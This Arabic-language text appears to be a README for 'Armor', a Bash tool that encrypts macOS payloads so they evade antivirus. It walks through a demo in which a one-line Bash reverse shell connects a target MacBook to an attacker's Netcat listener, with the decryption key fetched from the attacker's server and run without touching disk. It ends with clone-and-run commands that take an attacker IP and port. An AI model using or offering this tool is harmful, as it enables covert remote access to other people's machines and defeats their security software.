tokyoneon/armorArmor هو نص برمجي بسيط بلغة Bash مُصمم لإنشاء حمولات مشفرة لنظام macOS قادرة على تجنب برامج مكافحة الفيروسات.
أرمور هو سكربت Bash بسيط مصمم لإنشاء حمولات macOS مشفرة قادرة على تجنب ماسحات الفيروسات. يوجد أدناه مثال بصيغة gif لاستخدام أرمور مع حمولة Netcat بسيطة.
يتم تشغيل مستمع Netcat على المنفذ 4444. يتم قراءة ملف "payload.txt" وإظهار أنه يحتوي على سطر Bash واحد بسيط، عند تنفيذه، سينشئ اتصال TCP بين الـ MacBook الهدف ومستمع Netcat للمهاجم. يتم استخدام أرمور لتشفير سطر Bash الواحد. يتم استخدام Ncat لاستضافة مفتاح فك التشفير على خادم المهاجم. عند تنفيذ stager على الـ MacBook الهدف (غير معروض في الصورة المتحركة)، يتم فك تشفير سطر Bash الواحد وتنفيذه دون كتابة أي بيانات على القرص الصلب. ينهي Ncat المستمع فورًا بعد استخدام المفتاح. عند إنشاء اتصال Netcat، يحصل المهاجم على وصول عن بُعد إلى الـ MacBook الهدف.
من المسلم به أن تشفير معظم الحمولات الخاصة بـ macOS هو مبالغة. هذا السطر Bash الواحد المحدد قادر على تجاوز مضادات الفيروسات دون مساعدة أرمور. لكن هذا مجرد مثال. يمكن تطبيق نفس درجة التعتيم على سكربتات Python و Ruby و Shell المتطورة المصممة لتنفيذ مجموعة متنوعة من الهجمات المتقدمة.
يعتمد أرمور على LibreSSL لتشفير ملف الإدخال وإنشاء شهادة SSL. إذا لم يتم العثور على LibreSSL في نظامك، سيحاول أرمور تثبيته. يمكن العثور على الوظيفة لهذا في ملف armor.sh. كما أن Ncat هو تبعية ويمكن تثبيته في Kali باستخدام $ apt-get update && apt-get install nmap.
يمكن استنساخ أرمور وتنفيذه باستخدام الأوامر أدناه.
git clone https://github.com/tokyoneon/Armor
cd Armor/
chmod +x armor.sh
./armor.sh /path/to/payload.txt 1.2.3.4 443
عنوان 1.2.3.4 هو عنوان IP للمهاجم حيث سيتم استضافة مفتاح فك التشفير. يمكن أن يكون عنوان IP محليًا أو VPS. رقم المنفذ (443) اختياري ويمكن تغييره حسب الحاجة.
أسئلة واستفسارات: